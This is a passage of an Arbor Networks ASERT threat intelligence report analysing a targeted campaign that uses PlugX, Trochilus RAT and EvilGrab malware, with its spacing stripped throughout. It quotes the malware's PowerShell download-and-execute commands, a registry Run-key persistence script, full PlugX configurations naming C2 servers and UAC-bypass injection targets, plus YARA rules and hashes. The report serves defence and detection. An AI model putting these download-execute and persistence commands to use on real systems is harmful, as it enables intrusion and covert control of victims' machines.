Therefore,theUNDP,orthosethatworkwiththe UNDPmayhavebeentargetedandmaystillbeatarget.
TheSystem.
DateCreatedandSystem.
DateModifiedvaluesshow September15,2014,whichcouldindicatethatcampaignactivityhas beenunderwayforoverayear.
Itisalsopossiblethatthisdatecouldbe modified.
Thenexttwofieldsofinterestrelatetothelocalfilepathonthesystem thatwasusedtocreatetheLNKshortcutfile.
System.
ItemFolderPathDisplayNarrowandSystem.
ParsingPathboth revealthepresenceofaDropboxfolder,andanAdminsubfolderthatcontainsanotherfoldernamedUNDP.
Usingcloudstoragefacilitiesappearstobeaknowntacticofthisgroupofactors,astheywereobserved utilizingGoogleDriveasdescribedinTargetedAttacksonanEnvironmentalNGObyCitizenLab.
Toour ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger 6 Proprietary and Confidential Information of Arbor Networks, Inc. knowledge,thesearethefirstsignsthatDropboxmayalsohavebeenused.
Thepowershellisasfollows(bracketsaddedtoanymaliciouscontentstopreventaccidentalclicks): windir\System32\cmd.exe /c mode con cols15 lines1 powershell (new-object System.
Net.
WebClient).DownloadFile(http://www.oma.org[.
]tw/setup/note.exe,TEMP\note.exe) Start- Process TEMP\note.exe TheshortcutusesacommandprompttorunPowerShelltoinvokeaSystem.
Net.
WebClientclasstousethe DownloadFilemethodtogetnote.exefromtargetsite,storeitinTEMPthenrunthefile.
Thispowershell basicallyperformsatypicaldownloadandexecutefunctionofthefilelocatedat http://www.oma.org[.
]tw/setup/note.exe.
Thewww.oma.org[.
]twsiteistheOccupationalMedicineAssociationinR.O.C..Thissiteisorwasinsecure, asithadbeencompromisedanddefacedseveraltimesbyapparentlyunrelatedactors.
Themalware mentionedhereinhassincebeenremoved.
Figure 5: Setup directory containing two malware Thepayloadofthefirstdownloader,Note.exealsousesPowerShellto downloadandexecutehttp://down.360safe.com/inst.exe,whichisthe 360TotalSecurity(Qihoo360)anti-malwareapp.
PowerShellalso downloadsandexecutesthefileSetup.exefromthesamestaging directoryonwww.oma.org[.]tw/setup/.
Note.execreatesapersistencemechanismbycreatingafilecalled StartON.batwhichisthenaddedtotheWindowsregistry.
Therelevant codeisasfollows: start /min powershell (new-object System.
Net.
WebClient).DownloadFile(http://down.360safe[.
]com/inst.exe, C:\\ProgramData\\ChromeDel.exe) Start-Process -Wait -FilePath C:\\ProgramData\\ChromeDel.exe echo start /min powershell (new-object System.
Net.
WebClient).DownloadFile(http://www.oma.org[.
]tw/setup/Setup.exe, C:\\ProgramData\\ChromeDel.exe) Start-ProcessC:\\ProgramData\\ChromeDel.exeC:\\ProgramData\\StartON.bat reg add HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v StartON /t reg_sz /d C:\\ProgramData\\StartON.bat /f Setup.exeexecutesanddropstwofiles:data.datandshell.dllintotheWEventsCachefolder.
Data.dat appearstobeencrypted,andshell.dllattemptstoposeasabinaryassociatedwiththeUltraEditapplication.
Shell.dllappearstobeahelperapplicationknowntoitsdevelopersasServantShell.
Basedonreviewofthe ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger Copyright 2015 Arbor Networks, Inc. All rights reserved.
7 codeoftheTrochilusRATdiscoveredbyASERT,shell.dllisafilegeneratedwhentheRATiscompiled.
AYARArulefordiscoveringadditionalsamplesofServantShellwascreated.
//
servantshell.yara 10/26/15 // Arbor Networks ASERT Nov 2015 rule servantshell strings: string1 SelfDestruction.cpp string2 SvtShell.cpp string3 InitServant string4 DeinitServant string5 CheckDT condition: all of them ArelativelynewfeatureofVirusTotalcalledRetroHuntwasusedwiththisYARAruletodiscoverothersamples ofthismalware.
Themalwareappearstoberare-outof80terabytesofmalwarestoredinsideVirusTotalat thetimeofsearch,onlyeightadditionalsampleswerediscovered.
Onesampleclearlyrevealedinformation aboutwherethemalwarehadbeenfoundinthewild.
ThelocationofafileanalyzedbyVTon9-30-2015was foundonthestaging/storageserverandisstillpresentatthetimeofthiswriting.
Figure 6: Malware archive contains six APT-level threats ThisURLishostedinanopendirectorywhere severalothermalwaresampleshavebeen storedintheformofRARfiles,andrevealsa groupingofmalwareutilizedinthisand perhapsothercampaigns.
Thissitehasbeen reportedtotheMyanmarCERTforincident response.
Newcontenthasbeenaddedtothe siteasofDec10,2015(notreflectedinthe imagetotheleft).
TheLastmodifiedfieldsuggeststhatthis webserverhasbeenusedasafilestaging locationsinceatleastApril10of2015.Thefirst indicatorsofpassiveDNSactivityonthisdomainnamewereobservedonApril10at03:20:28.Whilefurther researchisrequiredtogainabetterunderstandingofthedistributionsystematplay,analysisofthesefiles canprovideinsightintothethreatcampaign(s)athand.
Therelevantfilehashes,datestamps,andotherdataabouttheRARfilesfollows.
Anindentedbulletmeans ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger 8 Proprietary and Confidential Information of Arbor Networks, Inc. thatthepriorbulletwasanarchiveorinstallerfilethatcontainedtheindentedfiles.
Forexample,inthefirst sample,Patch-update0409BAN.rarcontainedSetup.exe,SqmApi.dll,andplgus_res.dll.
Thefileplgus_res.dllis aninstallerfilethatcontainsthefiveinnermostfileslisted(startingwithmcf.epandendingwithres.db).This formatshallbeusedthroughoutthedocument.
Filesshallbediscussedindateorder,inordertogetasense ofthreatactortimelinesandcapabilities.
Sample 1: PlugX MD5(Patch-update0409BAN.rar)70f1a9ee69cea1b0f53099eb27753895April10,2015 MD5(Setup.exe)9d04bd9a340eca1b92fe05755e9b349a MD5(SqmApi.dll)660aa2b9375aaa8e0c1748974f130ba3 MD5(plgus_res.dll)c91a22de0d7010b334c6010f6bd67462 MD5(mcf.ep)627aebf89b0771440cf7aa8e0a4db296 MD5(mcf.exe)884d46c01c762ad6ddd2759fd921bf71 MD5(mcutil.dat)f02925b8d510e35cc33d662d2311f671 MD5(mcutil.dll)72e59f6e07a7f9981ef98b541a05628c MD5(res.db)a453bb1f1b5bb3f4810e38290190516c Run-timefilesareplacedintotheTaskSchedulerCUDLfolder,asspecifiedinthePlugXconfiguration.
SeveralofthefilesstoredherearehiddenfromtypicalviewusingtheSystem,Hiddenattributes.
The purposeofthelong,apparentlyrandomlynamed,filesisatopicforfurtherinvestigation.
Table 1: PlugX filesystem activity Attribute Filepathandname MD5hash A C:\ProgramData\TaskSchedulerCUDL\lpversudxi 5f66c2e2679585d4e46a9a6a2b488bc5 SH C:\ProgramData\TaskSchedulerCUDL\mcf.ep 627aebf89b0771440cf7aa8e0a4db296 SH C:\ProgramData\TaskSchedulerCUDL\mcf.exe AppData\Local\Temp\RarSFX0\mcf.exe 884d46c01c762ad6ddd2759fd921bf71 SH C:\ProgramData\TaskSchedulerCUDL\mcutil.dll AppData\Local\Temp\RarSFX0\mcutil.dll 56809e68c70179bc88eb980aa313c89a A C:\ProgramData\TaskSchedulerCUDL\ufbidruosivibuted 4893758ff2ce2d6eeacbf5577f149301 Analysisofnetworktrafficrevealsthatthismalwaremakesanoutboundconnectionto222.222.222[.
]222on TCP/9999,aconnectionthathasbeenseeninseveralothersamplesintheoriginalclusterofsix.
Duringour analysis,thisportwasalwaysnon-responsive,yetattemptedconnectionsto222.222.222[.
]222onTCP/9999 shouldbecauseforconcern.
Next,themalwareissuesaDNSqueryforwebhttps.websecexp[.
]com,and receivesaDNSresponseof114.108.136[.
]15.AconnectiontoTCP/443wasthenobservedtothisIPaddress.
Theuseofport443isleveragedbythemalwaresownprotocol(itisnotSSL/TLS).Avisualrepresentationof theobfuscatedtrafficisincludedherein(redclient,blueserver).
ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger Copyright 2015 Arbor Networks, Inc. All rights reserved.
9 Figure 7: Obfuscated PlugX connection to C2 NetworkactivityfromthissampletriggersthefollowingEmergingThreatssignature(basedonaDNSlookupof aknownmaliciousdomain): [2021960] ET TROJAN PlugX or EvilGrab DNS Lookup (websecexp.com) (rev: 1) ThefullconfigurationofthisPlugXsampleisasfollows: Sample Properties: [plugx] cnc: appeur.gnway.cc:90 [plugx] cnc: webhttps.websecexp.com:443 [plugx] cnc: usacia.websecexp.com:53 [plugx] cnc: usafbi.websecexp.com:25 [plugx] cnc1: webhttps.websecexp.com:443 (TCP / HTTP) [plugx] cnc2: usafbi.websecexp.com:25 (UDP) [plugx] cnc3: usacia.websecexp.com:53 (HTTP / UDP) [plugx] cnc4: appeur.gnway.cc:90 (TCP / HTTP) [plugx] cnc5: usafbi.websecexp.com:25 (TCP / HTTP) [plugx] cnc6: webhttps.websecexp.com:443 (HTTP / UDP) [plugx] cnc_auth_str: 0409 ARP CUDLL [plugx] dns: 168.126.63.1 [plugx] dns: 61.4.64.4 [plugx] dns: 8.8.8.8 [plugx] dns: 203.81.64.18 [plugx] enable_icmp_p2p: 0 [plugx] enable_ipproto_p2p: 0 [plugx] enable_p2p_scan: 0 [plugx] enable_tcp_p2p: 0 [plugx] enable_udp_p2p: 0 ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger 10 Proprietary and Confidential Information of Arbor Networks, Inc. [plugx] flags1: 4294967295 [plugx] flags2: 0 [plugx] hide_dll: -1 [plugx] http: http://hi.baidu.com/nvcvrclsnzaioxe/item/5e101810ed4197b665eabf [plugx] icmp_p2p_port: 1357 [plugx] injection: 1 [plugx] inject_process: windir\system32\svchost.exe [plugx] inject_process: ProgramFiles\Internet Explorer\iexplore.exe [plugx] inject_process: windir\explorer.exe [plugx] inject_process: ProgramFiles(x86)\Windows Media Player\wmplayer.exe [plugx] install_folder: AUTO\TaskSchedulerCUDL [plugx] ipproto_p2p_port: 1357 [plugx] keylogger: -1 [plugx] mac_disable: 00:00:00:00:00:00 [plugx] mutex: Global\eNzAMQgOXyITQMt [plugx] persistence: Service Run Key [plugx] plugx_auth_str: open [plugx] reg_hive: 2147483649 [plugx] reg_key: Software\Microsoft\Windows\CurrentVersion\Run [plugx] reg_value: McAfeeME [plugx] screenshot_folder: AUTO\TaskSchedulerCUDL\bNjWcdOXFiQIME [plugx] screenshots: 0 [plugx] screenshots_bits: 16 [plugx] screenshots_keep: 3 [plugx] screenshots_qual: 50 [plugx] screenshots_sec: 10 [plugx] screenshots_zoom: 50 [plugx] service_desc: Windows McAfeeOEMInfo Service [plugx] service_display_name: McAfeeOEMInfoME [plugx] service_name: McAfeeOEMInfoME [plugx] sleep1: 100663296 [plugx] sleep2: 0 [plugx] tcp_p2p_port: 1357 [plugx] uac_bypass_inject: windir\explorer.exe [plugx] uac_bypass_inject: windir\system32\dllhost.exe [plugx] uac_bypass_inject: windir\system32\msiexec.exe [plugx] uac_bypass_inject: windir\system32\rundll32.exe [plugx] uac_bypass_injection: 1 [plugx] udp_p2p_port: 1357 SomeinterestingelementsaboutthissampleconfigurationrevealaninfrastructureoverlapwiththePlugX samplesprofiledintheDefendingtheWhiteElephantpaper.
Inadditiontothefactthatthesampleswere presentonthesamestaging/storageserver,overlappingconfigurationsaddweighttotheideathatthesame groupofactorsisinvolved.
Asfarasderivingadditionalmeaningfromotherelementsintheconfiguration,the cnc_auth_strvalueof0409ARPCUDLLmaybemeaningful,andmayindicatethatthemalwarewas built/configuredonApril09(andplacedonthestagingserverthenextday,indicatedbythewebserver timestamp).Thehttpparameterpointingtoabaidu.comsiteisusedtodeliverC2stoPlugXintheevent thatalltheC2intheconfigurationarenon-responsive.
Inthiscase,thiscontentwasunabletoberecovered fromtheBaidusite.
EachPlugXsamplereviewedheresometimeshasconfigurationoverlapwithother samples,whichcouldindicatedefaultvalues,orpotentiallyvaluesfrompreviouscampaignsthatwerenot removed.
SomewhatdistinctgroupsofactorswieldingPlugXmaypotentiallybeprofiledfromunique ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger Copyright 2015 Arbor Networks, Inc. All rights reserved.
11 configurationvaluesacrosssamples.
Sample 2: PlugX MD5(Patch-updateYBbyYB.rar)63a463f2c18676d868d39785a48f073aJune3,2015 MD5(Setup.exe)9d04bd9a340eca1b92fe05755e9b349a MD5(SqmApi.dll)1177bf095bc3673a7373ead852af3f6c MD5(plgus_res.dll)69a00ee1aa56852bbd28bb9d9765b43c MD5(Google.com.
Logo)02c2450c19bc21391ba2835edf2dd745 MD5(mcf.ep)57cc1ec6470e31ef20abde8e611125b5 MD5(mcf.exe)884d46c01c762ad6ddd2759fd921bf71 MD5(mcutil.dll)9e544eb353b78a6467858fda4b8ec14e MD5(Norman.exe)23a3f48df4b36e3d2e63cde4b85cf4fa MD5(elogger.dll)5ff63e07a481e8768b3ef4d9ee91f13d MD5(mcf.exe)884d46c01c762ad6ddd2759fd921bf71 RarSFX1/folder MD5(mcutil.dll)9e544eb353b78a6467858fda4b8ec14e Figure 8: Signed Norman.exe file used for DLL sideloading Runningsetup.exeresultsinanupdateinstall successdialogbox,followedbyanattemptedTCP connectiontothepreviouslymentionedsite 222.222.222[.
]222onTCP/9999.
Oneofthesupportingfilesinsidetheplgus_res.dll archiveisNorman.exe,alegitimatebinarywiththe originalnameofzlh.exeknownastheProgram ManagerStubwhichisapparentlycreatedand signedbyNormanAS.Thecertificatewasvalidfrom 10/10/201210/11/2015,overlappingwiththe timestampusedontheRARfile.
Theelogger.dllfileexecutes(withWinExec)thefileGoogle.com.
Logothatwasincludedinthesamedirectory toaddoneadditionallayerofunpacking.
OncethefileGoogle.com.
Logoisexecuted,itisremovedfromdisk.
Google.com.
LogoisaRARfilethatcontainsmcf.ep,mcf.exe,andmcutil.dll.
Followingtheexecutionpathof thesefilesresultsinanotherinstanceofPlugXwhichisusingthepreviouslyobservedsites webhttps.websecexp[.]com,usafbi.websecexp[.]com,usacia.websecexp[.]com,andappeur[.
]gnway.ccasC2, andasupplementalC2pointerstoredathttp://epn.gov[.
]co/plugins/search/search.htmlthatwaspreviously documentedinourpaperDefendingtheWhiteElephant.
ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger 12 Proprietary and Confidential Information of Arbor Networks, Inc. ThecompletePlugXconfigurationusedinthissampleisasfollows: [plugx] cnc: appeur.gnway.cc:90 [plugx] cnc: webhttps.websecexp.com:443 [plugx] cnc: usacia.websecexp.com:53 [plugx] cnc: usafbi.websecexp.com:25 [plugx] cnc1: webhttps.websecexp.com:443 (TCP / HTTP) [plugx] cnc2: usafbi.websecexp.com:25 (UDP) [plugx] cnc3: usacia.websecexp.com:53 (HTTP / UDP) [plugx] cnc4: appeur.gnway.cc:90 (TCP / HTTP) [plugx] cnc5: usafbi.websecexp.com:25 (TCP / HTTP) [plugx] cnc6: webhttps.websecexp.com:443 (HTTP / UDP) [plugx] cnc_auth_str: 0528 ARPYB [plugx] dns: 168.126.63.1 [plugx] dns: 180.76.76.76 [plugx] dns: 8.8.8.8 [plugx] dns: 203.81.64.18 [plugx] enable_icmp_p2p: 0 [plugx] enable_ipproto_p2p: 0 [plugx] enable_p2p_scan: 0 [plugx] enable_tcp_p2p: 0 [plugx] enable_udp_p2p: 0 [plugx] flags1: 4294967295 [plugx] flags2: 0 [plugx] hide_dll: -1 [plugx] http: http://epn.gov.co/plugins/search/search.html [plugx] icmp_p2p_port: 1357 [plugx] injection: 1 [plugx] inject_process: windir\system32\svchost.exe [plugx] inject_process: ProgramFiles\Internet Explorer\iexplore.exe [plugx] inject_process: windir\explorer.exe [plugx] inject_process: ProgramFiles(x86)\Windows Media Player\wmplayer.exe [plugx] install_folder: AUTO\TempLog [plugx] ipproto_p2p_port: 1357 [plugx] keylogger: -1 [plugx] mac_disable: 00:00:00:00:00:00 [plugx] mutex: Global\doWcQFXMASDGYkATMXXeKSsQ [plugx] persistence: Service Run Key [plugx] plugx_auth_str: open [plugx] reg_hive: 2147483649 [plugx] reg_key: Software\Microsoft\Windows\CurrentVersion\Run [plugx] reg_value: EventLog [plugx] screenshot_folder: AUTO\TempLog\bSHAMAPUKhFs [plugx] screenshots: 0 [plugx] screenshots_bits: 16 [plugx] screenshots_keep: 3 [plugx] screenshots_qual: 50 [plugx] screenshots_sec: 10 [plugx] screenshots_zoom: 50 [plugx] service_desc: Windows Management EventLogs [plugx] service_display_name: Windows Management EventLogs [plugx] service_name: Windows Management EventLogs [plugx] sleep1: 83886080 ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger Copyright 2015 Arbor Networks, Inc. All rights reserved.
13 [plugx] sleep2: 0 [plugx] tcp_p2p_port: 1357 [plugx] uac_bypass_inject: windir\explorer.exe [plugx] uac_bypass_inject: windir\system32\dllhost.exe [plugx] uac_bypass_inject: windir\system32\msiexec.exe [plugx] uac_bypass_inject: windir\system32\rundll32.exe [plugx] uac_bypass_injection: 1 [plugx] udp_p2p_port: 1357 Interestingobservationsofthissampleincludethecnc_auth_strof0528ARPYBwhichmayindicatethe malwarecreationorconfigurationdateofThursday,May28,2015.Thestagingdatefromthewebserver timestampisWednesdayJune3,2015,possiblyindicatingthatthethreatactorsdidnotworkoverthe weekend.
ThepresenceofthecommonvalueARPbetweenPlugXsamples1and2couldindicate someonesinitialsorhavesomeothermeaningthatisnotknown.
ThefourDNSIPaddressesinthe configurationfilefeaturethreeofthesameentriesinsample1,butthisconfigurationrevealstheadditionof theDNSIPaddress180.76.76[.]76,whichresolvestopublic-dns-a.baidu[.
]com.
Theinjection_processvalues andtheuac_bypass_injectvaluesarethesamebetweensample1andsample2,butsomeotherminor changestotheconfigurationwerealsoobserved.
Sample 3: Unknown Malware MD5(Security-Patch-Update333.rar)5ed8b90a8d5cabda83fc814e2bbd9600September2,2015 MD5(Security-Patch-Update.exe)82896b68314d108141728a4112618304 Security-Patch-Update.exeisabinarysignedbyBinzhoushiYongyuFeedCo.
,LTd Thecertificateisvalidfrom1/16/20141/17/2016.
ExecutionofthismalwarecreatesanInternetExplorerfolderthatcontainsthefollowingfiles: MD5(conhost.exe)f70b295c6a5121b918682310ce0c2165 AppearstobealegitSandboxIEfile,originallynamedSandboxieBITS.exethatis signedbySANDBOXIEL.T.D.ASERThas20instancesofthisfilebeingusedin malwareoperations.
Additionally,analysisofthefilesPEHash (ffb7a38174aab4744cc4a509e34800aee9be8e57)reveals47instancesofthesame orslightlymodifiedfilebeingusedinvariousPlugXoperationssinceatleast2013.
ThisfileimportsfunctionsfromSBIeDll.dll.
MD5(SBieDll.dll)6c5f17cbd4d0f95fd8f9563219838a05 Thisfilehasitsimportsectiondestroyed,suggestingthatitisobfuscatedand maliciousandnotalegitimateSbieDll.dllfile.
Additionally,thefirstinstructioninside theDllEntryPointispushawhichplacesthecontentsofalltheregistersonthe stackandisoftenobservedinpackedmaliciouscode.
ThisDLLfileissideloadedby conhost.exe.
MD5(dll2.xor)8477f2b4602c552fad68f8c192beeebf Baseduponthefilename,thismaybeanXOR-edDLLfile.
Additionalanalysisis required.
MD5(maindll.dll)d8ede9e6c3a1a30398b0b98130ee3b38 ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger 14 Proprietary and Confidential Information of Arbor Networks, Inc. Thisbinaryisobfuscatedandrequiresfurtheranalysis.
MD5(nvsvc.exe)e0eb981ad6be0bd16246d5d442028687 ThisfileusesMicrosoftFoundationClasses(MFC)andissignedbySquareNetwork TechCo.
,LTDfromthecityofZhongshan,Guangdongprovince,ChinaonNovember 12,2014at9:01:58PM(CNSquareNetworkTechCo.
,LTD(OSquareNetwork TechCo.
,LTD.LZhongshan,SGuangdong,CCN).Thedigitalsignaturecontains anattributefield1.3.6.1.4.1.311.2.1.12thatliststhestringMicrosoftWindows Shellexplorerhttps:www.trustasia.comandwasvalidfromFeb21,2014Feb22, 2015.Trustasia.comisadigitalcertificateproviderinShanghai,China.
MD5(runas.exe)6a541de84074a2c4ff99eb43252d9030 Thisfilecontainsajumptablewith7cases,eachleadingtooneofthefivefiles droppedbythemalware,withtwoadditionalfilesreferencedthatarenotpresent: HOOK.DLLandmon.
Furtherresearchandinvestigationispending.
Toprovidesomelimitedinitialinsight,wecanobservethe presenceofsomeinterestingstringsinmemoryassuch: admin0902 1qaz2wsx3edc .data:0042C400 00000029 C \\Microsoft\\Internet Explorer\\conhost.exe .data:0042C42C 00000026 C \\Microsoft\\Internet Explorer\\dll2.xor .data:0042C454 00000029 C \\Microsoft\\Internet Explorer\\maindll.dll .data:0042C480 00000029 C \\Microsoft\\Internet Explorer\\SBieDll.dll .data:0042C4AC 00000027 C \\Microsoft\\Internet Explorer\\nvsvc.exe .data:0042C4D4 00000027 C \\Microsoft\\Internet Explorer\\runas.exe .data:0042C4FC 0000000F C USERPROFILE\\ .data:0042C50C 00000011 C Application Data .data:0042C520 0000000E C AppData\\Local .data:0042C534 0000000C C SHGetValueA .data:0042C540 0000000C C Shlwapi.dll .data:0042C54C 00000020 C SOFTWARE\\Micropoint\\Anti-Attack .data:0042C56C 00000009 C MP100000 .data:0042C578 00000012 C SOFTWARE\\JiangMin .data:0042C58C 0000000C C InstallPath .data:0042C598 00000014 C SOFTWARE\\rising\\RAV .data:0042C5AC 0000000C C installpath .data:0042C5B8 0000001C C SOFTWARE\\Avira\\Avira Destop .data:0042C5D4 00000005 C Path .data:0042C5DC 0000001C C SOFTWARE\\kingsoft\\Antivirus .data:0042C5F8 00000009 C WorkPath .data:0042C604 00000011 C Software\\360safe .data:0042C618 0000000C C DefaultSkin .data:0042C624 00000018 C SOFTWARE\\360Safe\\Liveup .data:0042C63C 00000005 C curl .data:0042C644 0000000D C 1qaz2wsx3edc Thissamplenevergeneratedanynetworkactivityduringautomatedormanualanalysis.
Furtheranalysisis requiredtoobtaindeeperinsightintothissample(ASERTsampleID29048791).
ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger Copyright 2015 Arbor Networks, Inc. All rights reserved.
15 Sample 4: The Newly Discovered Trochilus RAT ThisisthefirstinstanceoftheTrochilusRATobservedbyASERT.Whilethereisachancethatotherthreat intelligenceanalystshavediscoveredanddocumentedthisthreat,weareunawareofanypublicreferenceto thismalwarebeingusedintargetedcampaigns.
Basedontheinformationwehaveaccessto,thisappearsto bearelativelynewmalwarethathasyettobeprofiled.
MD5(Update-Patch0999999.rar)282cdf360dc627dac145842e666ea7e5September23,2015 MD5(Setup.exe)9d04bd9a340eca1b92fe05755e9b349a MD5(SqmApi.dll)abef3efb5972cfe4abdc4a9c99f67f0e MD5(System.dll)6f5257c0b8c0ef4d440f4f4fce85fb1b MD5(plgus_res.dll)03ef3d0131f27416b17807ab3ccd1556 MD5(data.dat)8c67c8b1b149d17bbe3a00c1aa6f940e MD5(shell.dll)304d83e15cce9b8dc826cdee2a96ef62 Thismalwareexecutesinmemoryonlyandthefinalpayloadneverappearsondiskinnormaloperations, howeverthebinariescanbedecodedandaresubsequentlyeasiertoanalyze.
Thissamplemakesanoutboundconnectiontocomputer.security-centers[.
]comatthecurrentIPaddressof 211.255.32[.]130onTCP/25aswellasaconnectiontothepreviouslyobserved222.222.222[.
]222on TCP/9999.Sample4andsample6areverysimilar(bothinstancesoftheTrochilusRAT),andwillbecovered ingreaterdepthinalatersectionofthisdocument.
Sample 5: Grabber/EvilGrab Whilepotentiallydated,anin-depthanalysisofEvilGrabcanbefoundintheTrendMicrodocument2Q ReportonTargetedAttackCampaignsfrom2013[5].
MD5(Security-Patch-Update.rar)76c0285bb89556564594ce1927b837b7October9,2015 MD5(Patch-Update.exe,IEChecker.exe)31c52be912b7269255ec669176663136 Thefinaldecryptedpayloadforthismalwareonlyexecutesinmemoryandnevertouchesdisk,butisinstead injectedintoctfmon.exe.
Therefore,analysisofmemorydumpsfordetectionandclassificationmayprove fruitful.
ThefollowingYARArulecanbeusedtoaidsuchinvestigations.
//
detects instances of EvilGrab aka Grabber malware.
//
Arbor Networks ASERT Nov 2015 rule evilgrab strings: str1 cload crypt32.dll error str2 Outlook2003_HTTP str3 Outlook2002_HTTP ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger 16 Proprietary and Confidential Information of Arbor Networks, Inc. str4 HTTP Server URL str5 Outlook2003_IMAP str6 Outlook2002_IMAP str7 cget s s password error str8 GetTcpTable failed with d str9 Start Application 2 key str10 Browser Start and Home key str11 USERPROFILE\users.bin str12 cs(s)dsssssssddxxs condition: 8 of them ThefileinsidetheRAR,IEChecker.exe,isaDLLfilethatcontainsavarietyofobfuscationtechniquesincluding dynamicstringreassemblyfortheloadingofAPIcalls.
ThissamplematchesindicatorsfortheEvilGrab malwarementionedbyPaloAltonetworks[2]butthisfilehasadistincthash.
Incidentally,thethreatactors and/ordeveloperofthemalwareappeartohavenameditGrabberbasedondevelopmentstringsfound therein.
OthershavecalledthismalwareTigerSharkRAT.
TheC2informationonthissample(dns[.]websecexp.com,ns[.]websecexp.com,appeur[.
]gnway.cc),the mutex(New2010-V3-Uninstall),andtheversion(v2014-v05)areidenticaltoelementsobservedinthe malwarethatwasprofiledbyPaloAltoNetworks.
TheGrabbersamplealsoinitiatesunusualnetwork connectionsviaanHTTPGETrequest: Figure 9: Evilgrab/Grabber malware malformed HTTP beacon ItemsofinterestinthisbeaconincludethepresenceoffiveextraneousbytespriortotheHTTPGETrequest.
Thesefivebytes,plustheHost:headerandtheAccept-Languageheaderofzh-cnandtheuniqueMicrosoft stringmakeforasolidnetworksignatureandanadditiontoYARArulesformalwarehunting.
ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger Copyright 2015 Arbor Networks, Inc. All rights reserved.
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